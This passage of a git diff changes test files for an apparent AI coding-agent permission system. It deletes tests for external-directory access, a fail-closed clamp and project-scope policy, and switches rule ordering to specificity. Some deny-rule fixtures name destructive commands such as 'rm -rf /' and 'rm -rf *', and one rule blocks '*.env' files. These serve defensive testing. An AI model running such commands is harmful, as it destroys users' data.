b/pi-permission-system/test/pattern-suggest.test.ts @@ -132,18 +132,6 @@ describe("suggestSessionPattern", () => { }); }); - describe("external_directory surface", () => { - it("returns parent-directory glob from deriveApprovalPattern", () => { - const result = suggestSessionPattern( - "external_directory", - "/tmp/foo.txt", - ); - expect(result).toMatchObject({ - surface: "external_directory", - pattern: "/tmp/*", - }); - }); - }); describe("path surface", () => { it("returns directory-scoped pattern for a file path", () => { @@ -225,15 +213,6 @@ describe("suggestSessionPattern", () => { ); }); - it("external_directory label includes surface prefix", () => { - const result = suggestSessionPattern( - "external_directory", - "/tmp/foo.txt", - ); - expect(result.label).toBe( - 'Yes, allow access to external directory "/tmp/*" for this session', - ); - }); it("path-bearing tool label includes path pattern", () => { const result = suggestSessionPattern("edit", "src/file.ts"); diff --git a/pi-permission-system/test/permission-events.test.ts b/pi-permission-system/test/permission-events.test.ts index 2eda381..00ca626 100644 --- a/pi-permission-system/test/permission-events.test.ts +++ b/pi-permission-system/test/permission-events.test.ts @@ -167,7 +167,6 @@ describe("emitDecisionEvent", () => { "policy_allow", "policy_deny", "session_approved", - "infrastructure_auto_allowed", "user_approved", "user_approved_for_session", "user_denied", diff --git a/pi-permission-system/test/permission-manager-fail-closed.test.ts b/pi-permission-system/test/permission-manager-fail-closed.test.ts deleted file mode 100644 index 7f334fc..0000000 --- a/pi-permission-system/test/permission-manager-fail-closed.test.ts +++ /dev/null @@ -1,108 +0,0 @@ -import { describe, expect, it } from "vitest"; - -import { PermissionManager } from "#src/permission-manager"; -import type { ScopeConfig } from "#src/types"; -import { createInMemoryPolicyLoader } from "#test/helpers/manager-harness"; - -/** - * Fail-closed clamp (#646): when a non-global config scope (project / agent / - * project-agent) is invalid, the composed policy is floored so nothing resolves - * more permissively than `ask` (`allow` → `ask`, tagged `origin: "fail-closed"`). - * An invalid global scope never triggers the clamp; hard `deny` survives. - */ -function makeManager(scopes: { - global?: ScopeConfig; - project?: ScopeConfig; - agent?: Record; - projectAgent?: Record; -}): PermissionManager { - return new PermissionManager({ - policyLoader: createInMemoryPolicyLoader(scopes), - }); -} - -const bashCheck = { - kind: "tool" as const, - surface: "bash", - input: { command: "echo hi" }, -}; - -describe("PermissionManager fail-closed clamp on invalid non-global scope", () => { - it("floors a lower-scope allow to ask when a project scope is invalid", () => { - const manager = makeManager({ - global: { permission: { bash: "allow" } }, - project: { invalid: true }, - }); - const result = manager.check(bashCheck); - expect(result.state).toBe("ask"); - expect(result.origin).toBe("fail-closed"); - }); - - it("preserves a lower-scope deny when a project scope is invalid", () => { - const manager = makeManager({ - global: { permission: { bash: "deny" } }, - project: { invalid: true }, - }); - const result = manager.check(bashCheck); - expect(result.state).toBe("deny"); - expect(result.origin).not.toBe("fail-closed"); - }); - - it("floors when an agent scope is invalid", () => { - const manager = makeManager({ - global: { permission: { bash: "allow" } }, - agent: { coder: { invalid: true } }, - }); - const result = manager.check({ ...bashCheck, agentName: "coder" }); - expect(result.state).toBe("ask"); - expect(result.origin).toBe("fail-closed"); - }); - - it("does not floor when the invalid flag is on the global scope", () => { - // Global is the lowest precedence — nothing more permissive is inherited, - // so its invalid flag is ignored by the clamp. - const manager = makeManager({ - global: { permission: { bash: "allow" }, invalid: true }, - }); - const result = manager.check(bashCheck); - expect(result.state).toBe("allow"); - expect(result.origin).not.toBe("fail-closed"); - }); - - it("does not floor when all scopes are valid", () => { - const manager = makeManager({ - global: { permission: { bash: "allow" } }, - project: { permission: { read: "allow" } }, - }); - const result = manager.check(bashCheck); - expect(result.state).toBe("allow"); - expect(result.origin).not.toBe("fail-closed"); - }); - - it("floors getToolPermission too (display parity)", () => { - const manager = makeManager({ - global: { permission: { bash: "allow" } }, - project: { invalid: true }, - }); - expect(manager.getToolPermission("bash")).toBe("ask"); - }); - - it("appends a fail-closed notice to config issues naming the invalid scope", () => { - const manager = makeManager({ - global: { permission: { bash: "allow" } }, - project: { invalid: true }, - }); - expect(manager.getConfigIssues()).toEqual([ - "Invalid project configuration detected — failing closed: 'allow' rules " + - "are clamped to 'ask' for this session until the configuration is corrected.", - ]); - }); - - it("emits no fail-closed notice when all scopes are valid", () => { - const manager = makeManager({ - global: { permission: { bash: "allow" } }, - project: { permission: { read: "allow" } }, - }); - expect(manager.getConfigIssues()).toEqual([]); - }); -}); diff --git a/pi-permission-system/test/permission-manager-unified.test.ts b/pi-permission-system/test/permission-manager-unified.test.ts index cb310a0..5a14733 100644 --- a/pi-permission-system/test/permission-manager-unified.test.ts +++ b/pi-permission-system/test/permission-manager-unified.test.ts @@ -11,13 +11,10 @@ import { describe, expect, it, test } from "vitest"; import type { ResolvedAccessIntent } from "#src/access-intent/access-intent"; import { BashProgram } from "#src/access-intent/bash/program"; import { getPathPolicyValues } from "#src/access-intent/path-normalization"; -import { getGlobalConfigPath, getProjectAgentsDir } from "#src/config-paths"; +import { getGlobalConfigPath } from "#src/config-paths"; import { posixPathFlavor, win32PathFlavor } from "#src/path/path-flavor"; import { PathNormalizer } from "#src/path-normalizer"; -import { - PermissionManager, - type ScopedPermissionManager, -} from "#src/permission-manager"; +import { PermissionManager } from "#src/permission-manager"; import type { Ruleset } from "#src/rule"; import { createAgentDirHarness, @@ -35,72 +32,8 @@ import { // --------------------------------------------------------------------------- describe("PermissionManager — injected platform (#510)", () => { - const winAllow: Ruleset = [ - sessionRule("external_directory", "C:\\Users\\Foo\\pi\\*"), - ]; - it("win32 manager folds case for path-surface matching", () => { - const manager = new PermissionManager({ - globalConfigPath: "/nonexistent/config.json", - agentsDir: "/nonexistent/agents", - flavor: win32PathFlavor, - }); - const result = manager.check( - { - kind: "path-values", - surface: "external_directory", - values: ["c:\\users\\foo\\pi\\docs\\readme.md"], - }, - winAllow, - ); - expect(result.state).toBe("allow"); - }); - it("posix manager keeps path-surface matching case-sensitive", () => { - const manager = new PermissionManager({ - globalConfigPath: "/nonexistent/config.json", - agentsDir: "/nonexistent/agents", - flavor: posixPathFlavor, - }); - const result = manager.check( - { - kind: "path-values", - surface: "external_directory", - values: ["c:\\users\\foo\\pi\\docs\\readme.md"], - }, - winAllow, - ); - expect(result.state).not.toBe("allow"); - }); - - it("win32: a /tmp* allow rule suppresses a Git Bash /tmp path (#533)", async () => { - // End to end: parse `ls /tmp` under win32, take the token's match values, - // and confirm a natural `/tmp*` external_directory allow rule matches them. - // The win32 matcher folds separators on both the rule and the value (#653), - // so the as-typed literal resolves without a backslash match alias. - const program = await BashProgram.parse( - "ls /tmp", - new PathNormalizer(win32PathFlavor, "C:/projects/app"), - ); - const values = program.externalPaths()[0].matchValues(); - const manager = new PermissionManager({ - globalConfigPath: "/nonexistent/config.json", - agentsDir: "/nonexistent/agents", - flavor: win32PathFlavor, - }); - - const allowed = manager.check( - { kind: "path-values", surface: "external_directory", values }, - [sessionRule("external_directory", "/tmp*")], - ); - expect(allowed.state).toBe("allow"); - - const noRule = manager.check( - { kind: "path-values", surface: "external_directory", values }, - [], - ); - expect(noRule.state).not.toBe("allow"); - }); it("win32: a /dev/null path allow rule suppresses the Git Bash device prompt (#653)", async () => { // The reported repro: `echo hi > /dev/null` reaches the `path` surface with @@ -188,23 +121,6 @@ function checkPath( // --------------------------------------------------------------------------- describe("checkPermission — session rules", () => { - it("session rule wins over the universal default (external_directory)", () => { - const manager = createMissingConfigManager(); - const sessionRules: Ruleset = [ - sessionRule("external_directory", "/other/project"), - ]; - const result = checkPath( - manager, - "/other/project", - {}, - "external_directory", - undefined, - sessionRules, - ); - expect(result.state).toBe("allow"); - expect(result.source).toBe("session"); - expect(result.matchedPattern).toBe("/other/project"); - }); it("session rule wins over the universal default (skill)", () => { const manager = createMissingConfigManager(); @@ -303,41 +219,6 @@ describe("checkPermission — session rules", () => { // --------------------------------------------------------------------------- describe("checkPermission — source derivation and matchedPattern", () => { - describe("external_directory (special surface)", () => { - it("source is 'special' for a config-matched path", () => { - const { manager, cleanup } = createManagerWithConfig({ - "*": "ask", - external_directory: { "/trusted/*": "allow" }, - }); - try { - const result = checkPath( - manager, - "/trusted/repo", - {}, - "external_directory", - ); - expect(result.state).toBe("allow"); - expect(result.source).toBe("special"); - expect(result.matchedPattern).toBe("/trusted/*"); - } finally { - cleanup(); - } - }); - - it("source is 'special' even for a default match (no config rule)", () => { - const manager = createMissingConfigManager(); - const result = checkPath(manager, "/some/path", {}, "external_directory"); - expect(result.state).toBe("ask"); - expect(result.source).toBe("special"); - expect(result.matchedPattern).toBeUndefined(); - }); - - it("matchedPattern is undefined for a default match", () => { - const manager = createMissingConfigManager(); - const result = checkPath(manager, "/unknown", {}, "external_directory"); - expect(result.matchedPattern).toBeUndefined(); - }); - }); describe("skill surface", () => { it("source is 'skill' for a config-matched skill name", () => { @@ -508,90 +389,6 @@ describe("checkPermission — source derivation and matchedPattern", () => { }); }); -// --------------------------------------------------------------------------- -// Home directory expansion in external_directory patterns -// --------------------------------------------------------------------------- - -describe("checkPermission — home path expansion in external_directory rules", () => { - it("~/glob pattern allows a path under the real home directory", () => { - const { manager, cleanup } = createManagerWithConfig({ - "*": "ask", - external_directory: { "~/trusted/*": "allow" }, - }); - try { - const result = checkPath( - manager, - join(homedir(), "trusted/repo"), - {}, - "external_directory", - ); - expect(result.state).toBe("allow"); - expect(result.source).toBe("special"); - expect(result.matchedPattern).toBe("~/trusted/*"); - } finally { - cleanup(); - } - }); - - it("$HOME/glob pattern allows a path under the real home directory", () => { - const { manager, cleanup } = createManagerWithConfig({ - "*": "ask", - external_directory: { "$HOME/trusted/*": "allow" }, - }); - try { - const result = checkPath( - manager, - join(homedir(), "trusted/repo"), - {}, - "external_directory", - ); - expect(result.state).toBe("allow"); - expect(result.source).toBe("special"); - expect(result.matchedPattern).toBe("$HOME/trusted/*"); - } finally { - cleanup(); - } - }); - - it("~/glob deny rule blocks a path under home", () => { - const { manager, cleanup } = createManagerWithConfig({ - "*": "allow", - external_directory: { "~/private/*": "deny" }, - }); - try { - const result = checkPath( - manager, - join(homedir(), "private/secrets.txt"), - {}, - "external_directory", - ); - expect(result.state).toBe("deny"); - expect(result.matchedPattern).toBe("~/private/*"); - } finally { - cleanup(); - } - }); - - it("~/glob pattern does not match a path outside home", () => { - const { manager, cleanup } = createManagerWithConfig({ - "*": "ask", - external_directory: { "~/trusted/*": "allow" }, - }); - try { - const result = checkPath( - manager, - "/tmp/not-home/file", - {}, - "external_directory", - ); - // Falls back to the "*": "ask" default — no allow from the ~/trusted/* rule. - expect(result.state).toBe("ask"); - expect(result.matchedPattern).toBeUndefined(); - } finally { - cleanup(); - } - }); -}); // --------------------------------------------------------------------------- // Rule origin provenance @@ -622,93 +419,6 @@ describe("checkPermission — rule origin provenance", () => { } }); - it("project overrides global: winning rule has origin 'project'", () => { - const { manager, cleanup } = createManagerWithScopes( - { read: "ask" }, - { read: "allow" }, - ); - try { - const result = checkTool(manager, "read", {}); - expect(result.state).toBe("allow"); - expect(result.origin).toBe("project"); - } finally { - cleanup(); - } - }); - - it("both-object merge: patterns retain their own origins", () => { - // global defines bash["git *"] = allow; project adds bash["rm *"] = deny. - // Both patterns should survive with their own origins. - const { manager, cleanup } = createManagerWithScopes( - { bash: { "git *": "allow" } }, - { bash: { "rm *": "deny" } }, - ); - try { - const gitResult = checkTool(manager, "bash", { - command: "git status", - }); - expect(gitResult.state).toBe("allow"); - expect(gitResult.origin).toBe("global"); - - const rmResult = checkTool(manager, "bash", { - command: "rm -rf /", - }); - expect(rmResult.state).toBe("deny"); - expect(rmResult.origin).toBe("project"); - } finally { - cleanup(); - } - }); - - it("both-object merge: project pattern overrides global pattern for same key", () => { - // Both scopes define bash["git *"]; project wins for that pattern. - const { manager, cleanup } = createManagerWithScopes( - { bash: { "git *": "ask" } }, - { bash: { "git *": "allow" } }, - ); - try { - const result = checkTool(manager, "bash", { - command: "git status", - }); - expect(result.state).toBe("allow"); - expect(result.origin).toBe("project"); - } finally { - cleanup(); - } - }); - - it("string replaces object: all patterns from replacing scope get origin 'project'", () => { - // global defines bash as an object; project replaces with string "allow". - const { manager, cleanup } = createManagerWithScopes( - { bash: { "git *": "ask", "npm *": "ask" } }, - { bash: "allow" }, - ); - try { - // The catch-all "*" now comes from the project scope. - const result = checkTool(manager, "bash", { - command: "anything", - }); - expect(result.state).toBe("allow"); - expect(result.origin).toBe("project"); - } finally { - cleanup(); - } - }); - - it("object replaces string: all patterns from replacing scope get origin 'project'", () => { - // global defines read as a string "ask"; project replaces with object. - const { manager, cleanup } = createManagerWithScopes( - { read: "ask" }, - { read: { "*": "allow" } }, - ); - try { - const result = checkTool(manager, "read", {}); - expect(result.state).toBe("allow"); - expect(result.origin).toBe("project"); - } finally { - cleanup(); - } - }); it("no config match: origin is 'builtin' (default layer)", () => { // No config — falls back to synthesized default. @@ -739,19 +449,6 @@ describe("checkPermission — rule origin provenance", () => { } }); - it("universal fallback (*) overridden by project carries origin 'project'", () => { - const { manager, cleanup } = createManagerWithScopes( - { "*": "ask" }, - { "*": "allow" }, - ); - try { - const result = checkTool(manager, "read", {}); - expect(result.state).toBe("allow"); - expect(result.origin).toBe("project"); - } finally { - cleanup(); - } - }); it("built-in fallback (no * in any config): origin is 'builtin'", () => { // Manager with no config file — built-in "ask" default. @@ -847,24 +544,6 @@ describe("PermissionManager with in-memory PolicyLoader", () => { expect(result.source).toBe("mcp"); }); - it("external_directory surface routes correctly", () => { - const manager = createInMemoryManager({ - global: { - permission: { - "*": "ask", - external_directory: { "/trusted/*": "allow" }, - }, - }, - }); - const result = checkPath( - manager, - "/trusted/repo", - {}, - "external_directory", - ); - expect(result.state).toBe("allow"); - expect(result.source).toBe("special"); - }); it("extension tools use 'default' source when no config rule matches", () => { const manager = createInMemoryManager({ @@ -877,26 +556,6 @@ describe("PermissionManager with in-memory PolicyLoader", () => { }); describe("multi-scope merge", () => { - it("project overrides global", () => { - const manager = createInMemoryManager({ - global: { permission: { read: "ask" } }, - project: { permission: { read: "allow" } }, - }); - const result = checkTool(manager, "read", {}); - expect(result.state).toBe("allow"); - expect(result.origin).toBe("project"); - }); - - it("agent overrides project", () => { - const manager = createInMemoryManager({ - global: { permission: { read: "ask" } }, - project: { permission: { read: "allow" } }, - agent: { coder: { permission: { read: "deny" } } }, - }); - const result = checkTool(manager, "read", {}, "coder"); - expect(result.state).toBe("deny"); - expect(result.origin).toBe("agent"); - }); it("project-agent overrides agent", () => { const manager = createInMemoryManager({ @@ -909,35 +568,6 @@ describe("PermissionManager with in-memory PolicyLoader", () => { expect(result.origin).toBe("project-agent"); }); - it("deep-shallow merge preserves patterns from different scopes", () => { - const manager = createInMemoryManager({ - global: { permission: { bash: { "git *": "allow" } } }, - project: { permission: { bash: { "rm *": "deny" } } }, - }); - const gitResult = checkTool(manager, "bash", { - command: "git status", - }); - expect(gitResult.state).toBe("allow"); - expect(gitResult.origin).toBe("global"); - - const rmResult = checkTool(manager, "bash", { - command: "rm -rf /", - }); - expect(rmResult.state).toBe("deny"); - expect(rmResult.origin).toBe("project"); - }); - - it("string replaces object in override scope", () => { - const manager = createInMemoryManager({ - global: { - permission: { bash: { "git *": "ask", "npm *": "ask" } }, - }, - project: { permission: { bash: "allow" } }, - }); - const result = checkTool(manager, "bash", { command: "anything" }); - expect(result.state).toBe("allow"); - expect(result.origin).toBe("project"); - }); }); describe("session rule composition", () => { @@ -977,15 +607,6 @@ describe("PermissionManager with in-memory PolicyLoader", () => { }); describe("origin tracking", () => { - it("universal fallback from project carries origin 'project'", () => { - const manager = createInMemoryManager({ - global: { permission: { "*": "ask" } }, - project: { permission: { "*": "allow" } }, - }); - const result = checkTool(manager, "read", {}); - expect(result.state).toBe("allow"); - expect(result.origin).toBe("project"); - }); it("session origin is 'session'", () => { const manager = createInMemoryManager(); @@ -1335,24 +956,22 @@ describe("cross-cutting path surface", () => { } }); - // ── Last-match-wins ordering ──────────────────────────────────────────── + // ── Pattern specificity ordering ─────────────────────────────────────── - it("last-match-wins: catch-all after deny overrides the deny", () => { - // Classic misconfiguration: deny is before allow, so allow wins. + it("specific deny wins even when a catch-all is declared later", () => { const { manager, cleanup } = createManagerWithConfig({ path: { "*.env": "deny", "*": "allow" }, }); try { const result = checkPath(manager, ".env"); - // "*" is last and matches .env → allow (the deny is shadowed) - expect(result.state).toBe("allow"); + expect(result.state).toBe("deny"); + expect(result.matchedPattern).toBe("*.env"); } finally { cleanup(); } }); - it("last-match-wins: deny after catch-all blocks the path", () => { - // Correct ordering: catch-all first, specific deny after. + it("specific deny wins when declared after a catch-all", () => { const { manager, cleanup } = createManagerWithConfig({ path: { "*": "allow", "*.env": "deny" }, }); @@ -1517,218 +1136,20 @@ describe("cross-cutting path surface — home-expanded values", () => { }); // --------------------------------------------------------------------------- -// configureForCwd and agentDir construction +// Global-only policy loading // --------------------------------------------------------------------------- -describe("PermissionManager — configureForCwd and agentDir option", () => { - it("ScopedPermissionManager is exported and PermissionManager satisfies it", () => { - // Type-level assertion: assigning PermissionManager to ScopedPermissionManager compiles. - const manager = new PermissionManager({ - globalConfigPath: "/nonexistent/config.json", - agentsDir: "/nonexistent/agents", - }); - const scoped: ScopedPermissionManager = manager; - expect(typeof scoped.configureForCwd).toBe("function"); - expect(typeof scoped.check).toBe("function"); - expect(typeof scoped.getToolPermission).toBe("function"); - expect(typeof scoped.getConfigIssues).toBe("function"); +test("project policy files are ignored", () => { + const { agentDir, cwd, cleanup } = createAgentDirHarness({ + globalPermission: { "*": "ask", bash: "deny" }, + projectPermission: { bash: "allow" }, }); - - it("construction with { agentDir } reads global config from getGlobalConfigPath(agentDir)", () => { - const { agentDir, cleanup } = createAgentDirHarness({ - globalPermission: { read: "deny" }, - }); - try { - const manager = new PermissionManager({ agentDir }); - const result = checkPath(manager, "foo.txt", {}, "read"); - expect(result.state).toBe("deny"); - } finally { - cleanup(); - } - }); - - it("configureForCwd(cwd) applies project config (project overrides global)", () => { - const { agentDir, cwd, cleanup } = createAgentDirHarness({ - globalPermission: { read: "deny" }, - projectPermission: { read: "allow" }, - }); - try { - const manager = new PermissionManager({ agentDir }); - // Before configureForCwd: global policy applies - expect(checkPath(manager, "foo.txt", {}, "read").state).toBe("deny"); - - manager.configureForCwd(cwd); - - // After configureForCwd: project override applies (last-match-wins) - expect(checkPath(manager, "foo.txt", {}, "read").state).toBe("allow"); - } finally { - cleanup(); - } - }); - - it("configureForCwd(undefined) reverts to global-only", () => { - const { agentDir, cwd, cleanup } = createAgentDirHarness({ - globalPermission: { read: "deny" }, - projectPermission: { read: "allow" }, - }); - try { - const manager = new PermissionManager({ agentDir }); - manager.configureForCwd(cwd); - expect(checkPath(manager, "foo.txt", {}, "read").state).toBe("allow"); - - manager.configureForCwd(undefined); - - // After reverting: global policy applies again - expect(checkPath(manager, "foo.txt", {}, "read").state).toBe("deny"); - } finally { - cleanup(); - } - }); - - it("configureForCwd clears the resolved-permissions cache", () => { - const { agentDir, globalConfigPath, cleanup } = createAgentDirHarness({ - globalPermission: { read: "allow" }, - }); - try { - const manager = new PermissionManager({ agentDir }); - // Warm the cache - expect(checkPath(manager, "foo.txt", {}, "read").state).toBe("allow"); - // Update global config on disk to deny read - writeFileSync( - globalConfigPath, - JSON.stringify({ permission: { read: "deny" } }, null, 2), - ); - // configureForCwd clears cache + rebuilds loader - manager.configureForCwd(undefined); - // Should pick up the changed global config - expect(checkPath(manager, "foo.txt", {}, "read").state).toBe("deny"); - } finally { - cleanup(); - } - }); - - it("configureForCwd(cwd) derives projectAgentsDir at /.pi/agents (regression: #428)", () => { - // Bug: old code derived /.pi/agent/agents instead of /.pi/agents. - // This test pins the correct path and verifies agentsDir is unchanged. - const { agentDir, cwd, cleanup } = createAgentDirHarness({ - globalPermission: { read: "allow" }, - }); - try { - const manager = new PermissionManager({ agentDir }); - manager.configureForCwd(cwd); - const paths = manager.getResolvedPolicyPaths(); - expect(paths.projectAgentsDir).toBe(getProjectAgentsDir(cwd)); - expect(paths.agentsDir).toBe(join(agentDir, "agents")); - } finally { - cleanup(); - } - }); - - it("configureForCwd(cwd) enforces permission: frontmatter from /.pi/agents/.md (regression: #428)", () => { - // Bug: wrong directory meant project-agent frontmatter was never loaded. - const { agentDir, cwd, cleanup } = createAgentDirHarness({ - globalPermission: { read: "allow" }, - }); - try { - // Write a project agent definition with a deny override. - const projectAgentsDir = getProjectAgentsDir(cwd); - mkdirSync(projectAgentsDir, { recursive: true }); - writeFileSync( - join(projectAgentsDir, "coder.md"), - "---\npermission:\n read: deny\n---\n# Coder\n", - ); - - const manager = new PermissionManager({ agentDir }); - manager.configureForCwd(cwd); - - // Without an agent name: global allow applies. - expect(checkPath(manager, "foo.txt", {}, "read").state).toBe("allow"); - // With the "coder" agent: project-agent deny overrides global allow. - expect(checkPath(manager, "foo.txt", {}, "read", "coder").state).toBe( - "deny", - ); - } finally { - cleanup(); - } - }); -}); - -// --------------------------------------------------------------------------- -// Project-level and per-agent config scope — moved from catch-all (#342) -// --------------------------------------------------------------------------- - -test("Project-level config overrides base bash patterns", () => { - const { manager, cleanup } = createManagerWithProject( - { - permission: { - "*": "allow", - bash: { "*": "ask", "rm -rf *": "deny" }, - }, - }, - {}, - { - projectConfig: { - permission: { bash: { "rm -rf build": "allow" } }, - }, - }, - ); - try { - const allowed = checkTool(manager, "bash", { - command: "rm -rf build", - }); - expect(allowed.state).toBe("allow"); - expect(allowed.matchedPattern).toBe("rm -rf build"); - - const denied = checkTool(manager, "bash", { - command: "rm -rf node_modules", - }); - expect(denied.state).toBe("deny"); - expect(denied.matchedPattern).toBe("rm -rf *"); - } finally { - cleanup(); - } -}); - -test("System-agent config overrides project-level bash patterns", () => { - const { manager, cleanup } = createManagerWithProject( - { - permission: { "*": "allow", bash: "ask" }, - }, - { - reviewer: `--- -name: reviewer -permission: - bash: - "git log *": allow ---- -`, - }, - { - projectConfig: { - permission: { bash: { "git *": "deny" } }, - }, - }, - ); - - try { - const allowed = checkTool( - manager, - "bash", - { command: "git log --oneline" }, - "reviewer", + const manager = new PermissionManager({ agentDir }); + manager.configureForCwd(cwd); + expect(checkTool(manager, "bash", { command: "echo hi" }).state).toBe( + "deny", ); - expect(allowed.state).toBe("allow"); - expect(allowed.matchedPattern).toBe("git log *"); - - const denied = checkTool( - manager, - "bash", - { command: "git status" }, - "reviewer", - ); - expect(denied.state).toBe("deny"); - expect(denied.matchedPattern).toBe("git *"); } finally { cleanup(); } @@ -1768,7 +1189,7 @@ permission: } }); -test("Full precedence chain base < project < system-agent < project-agent for universal default", () => { +test("Precedence is base < system-agent < project-agent and ignores project policy", () => { const { manager, cleanup } = createManagerWithProject( { permission: { "*": "deny" }, @@ -1807,7 +1228,7 @@ permission: expect(reviewerResult.source).toBe("default"); const globalResult = checkTool(manager, "custom_extension_tool", {}); - expect(globalResult.state).toBe("allow"); + expect(globalResult.state).toBe("deny"); expect(globalResult.source).toBe("default"); } finally { cleanup(); @@ -1889,8 +1310,7 @@ test("multiline bash command resolves to allow via universal fallback", () => { }); test("Bash specific deny patterns override catch-all within the same config", () => { - // In the flat format, patterns within a surface map are ordered by insertion. - // Last-match-wins means specific patterns placed AFTER the catch-all override it. + // Specific patterns override catch-alls regardless of declaration order. const { manager, cleanup } = createManager({ permission: { "*": "ask", @@ -2404,94 +1824,6 @@ test("getToolPermission supports arbitrary extension tool names", () => { } }); -// --------------------------------------------------------------------------- -// external_directory config resolution and pattern maps — moved from catch-all (#342) -// --------------------------------------------------------------------------- - -test("external_directory permission falls back to universal default when not explicitly configured", () => { - const { manager, cleanup } = createManager({ permission: {} }); - - try { - const result = checkTool(manager, "external_directory", {}); - expect(result.state).toBe("ask"); - expect(result.source).toBe("special"); - expect(result.matchedPattern).toBe(undefined); - } finally { - cleanup(); - } -}); - -test("external_directory permission respects explicit deny", () => { - const { manager, cleanup } = createManager({ - permission: { "*": "allow", external_directory: "deny" }, - }); - - try { - const result = checkTool(manager, "external_directory", {}); - expect(result.state).toBe("deny"); - expect(result.source).toBe("special"); - expect(result.matchedPattern).toBe("*"); - } finally { - cleanup(); - } -}); - -test("external_directory permission can be explicitly allowed", () => { - const { manager, cleanup } = createManager({ - permission: { "*": "allow", external_directory: "allow" }, - }); - - try { - const result = checkTool(manager, "external_directory", {}); - expect(result.state).toBe("allow"); - expect(result.source).toBe("special"); - expect(result.matchedPattern).toBe("*"); - } finally { - cleanup(); - } -}); - -test("external_directory permission respects per-agent override", () => { - const { manager, cleanup } = createManager( - { - permission: { "*": "allow", external_directory: "deny" }, - }, - { - trusted: `--- -name: trusted -permission: - external_directory: allow ---- -`, - }, - ); - - try { - const globalResult = checkTool(manager, "external_directory", {}); - expect(globalResult.state).toBe("deny"); - - const agentResult = checkTool(manager, "external_directory", {}, "trusted"); - expect(agentResult.state).toBe("allow"); - expect(agentResult.source).toBe("special"); - } finally { - cleanup(); - } -}); - -test("external_directory permission is not affected by unrelated surface keys", () => { - const { manager, cleanup } = createManager({ - permission: { "*": "allow", external_directory: "allow" }, - }); - - try { - const extResult = checkTool(manager, "external_directory", {}); - expect(extResult.state).toBe("allow"); - expect(extResult.matchedPattern).toBe("*"); - } finally { - cleanup(); - } -}); - test("skill pattern map in agent frontmatter overrides global skill policy", () => { const { manager, cleanup } = createManager( { @@ -2537,52 +1869,6 @@ permission: } }); -test("external_directory pattern map in agent frontmatter overrides global policy", () => { - const { manager, cleanup } = createManager( - { - permission: { "*": "allow", external_directory: "deny" }, - }, - { - trusted: `--- -name: trusted -permission: - external_directory: - "*": deny - "~/Downloads/*": allow ---- -`, - }, - ); - - try { - const allowed = checkPath( - manager, - `${homedir()}/Downloads/file.txt`, - {}, - "external_directory", - "trusted", - ); - expect(allowed.state).toBe("allow"); - expect(allowed.matchedPattern).toBe("~/Downloads/*"); - expect(allowed.source).toBe("special"); - - const denied = checkPath( - manager, - `${homedir()}/Documents/secret.txt`, - {}, - "external_directory", - "trusted", - ); - expect(denied.state).toBe("deny"); - expect(denied.matchedPattern).toBe("*"); - - const globalDenied = checkTool(manager, "external_directory", {}); - expect(globalDenied.state).toBe("deny"); - expect(globalDenied.source).toBe("special"); - } finally { - cleanup(); - } -}); test("project-agent frontmatter skill rules override global-agent frontmatter skill rules", () => { const { manager, cleanup } = createManagerWithProject( @@ -2635,42 +1921,6 @@ permission: } }); -test("project-agent frontmatter external_directory rules override global-agent frontmatter rules", () => { - const { manager, cleanup } = createManagerWithProject( - { - permission: { "*": "allow", external_directory: "deny" }, - }, - { - analyst: `--- -name: analyst -permission: - external_directory: ask ---- -`, - }, - { - projectAgentFiles: { - analyst: `--- -name: analyst -permission: - external_directory: allow ---- -`, - }, - }, - ); - - try { - const result = checkTool(manager, "external_directory", {}, "analyst"); - expect(result.state).toBe("allow"); - expect(result.source).toBe("special"); - - const globalResult = checkTool(manager, "external_directory", {}); - expect(globalResult.state).toBe("deny"); - } finally { - cleanup(); - } -}); // --------------------------------------------------------------------------- // PI_CODING_AGENT_DIR support — moved from catch-all (#342) @@ -2711,18 +1961,6 @@ test("PermissionManager reads config from PI_CODING_AGENT_DIR when set", () => { // getConfigIssues — moved from catch-all (#342) // --------------------------------------------------------------------------- -test("PermissionManager.getConfigIssues returns empty array for clean config", () => { - const config: ScopeConfig = { - permission: { "*": "ask", external_directory: "ask" }, - }; - const { manager, cleanup } = createManager(config); - try { - const issues = manager.getConfigIssues(); - expect(issues.length).toBe(0); - } finally { - cleanup(); - } -}); test("PermissionManager.getConfigIssues returns empty array for empty config", () => { const { manager, cleanup } = createManager({}); @@ -2738,146 +1976,6 @@ test("PermissionManager.getConfigIssues returns empty array for empty config", ( // Session-aware checkPermission() — moved from catch-all (#342) // --------------------------------------------------------------------------- -test("checkPermission returns source 'session' when session rules cover the external_directory path", () => { - const { manager, cleanup } = createManager({ - permission: { "*": "allow" }, - }); - - try { - const sessionRules = [ - sessionRule("external_directory", "/other/project/*"), - ]; - - const result = checkPath( - manager, - "/other/project/src/foo.ts", - {}, - "external_directory", - undefined, - sessionRules, - ); - expect(result.state).toBe("allow"); - expect(result.source).toBe("session"); - expect(result.matchedPattern).toBe("/other/project/*"); - } finally { - cleanup(); - } -}); - -test("checkPermission falls back to config policy when session rules do not cover the path", () => { - const { manager, cleanup } = createManager({ - permission: { "*": "allow", external_directory: "deny" }, - }); - - try { - const sessionRules = [ - sessionRule("external_directory", "/other/project/*"), - ]; - - const result = checkTool( - manager, - "external_directory", - { path: "/completely/different/path.ts" }, - undefined, - sessionRules, - ); - expect(result.state).toBe("deny"); - expect(result.source).toBe("special"); - } finally { - cleanup(); - } -}); - -test("checkPermission with empty session rules is identical to call without sessionRules arg", () => { - const { manager, cleanup } = createManager({ - permission: { "*": "allow", external_directory: "deny" }, - }); - - try { - const withEmpty = checkPath( - manager, - "/other/project/foo.ts", - {}, - "external_directory", - undefined, - [], - ); - const withoutArg = checkPath( - manager, - "/other/project/foo.ts", - {}, - "external_directory", - ); - const expected: PermissionCheckResult = { - toolName: "external_directory", - state: "deny", - matchedPattern: "*", - source: "special", - origin: "global", - }; - expect(withEmpty).toEqual(expected); - expect(withoutArg).toEqual(expected); - } finally { - cleanup(); - } -}); - -test("session rules for one surface do not affect checks on other surfaces", () => { - const { manager, cleanup } = createManager({ permission: {} }); - - try { - const sessionRules = [ - sessionRule("external_directory", "/other/project/*"), - ]; - - const bashResult = checkTool( - manager, - "bash", - { command: "git status" }, - undefined, - sessionRules, - ); - expect(bashResult.state).toBe("ask"); - expect(bashResult.source).toBe("bash"); - - const mcpResult = checkTool( - manager, - "mcp", - { tool: "exa:search" }, - undefined, - sessionRules, - ); - expect(mcpResult.state).toBe("ask"); - expect(mcpResult.source).toBe("default"); - } finally { - cleanup(); - } -}); - -test("session rules override config deny for external_directory", () => { - const { manager, cleanup } = createManager({ - permission: { "*": "allow", external_directory: 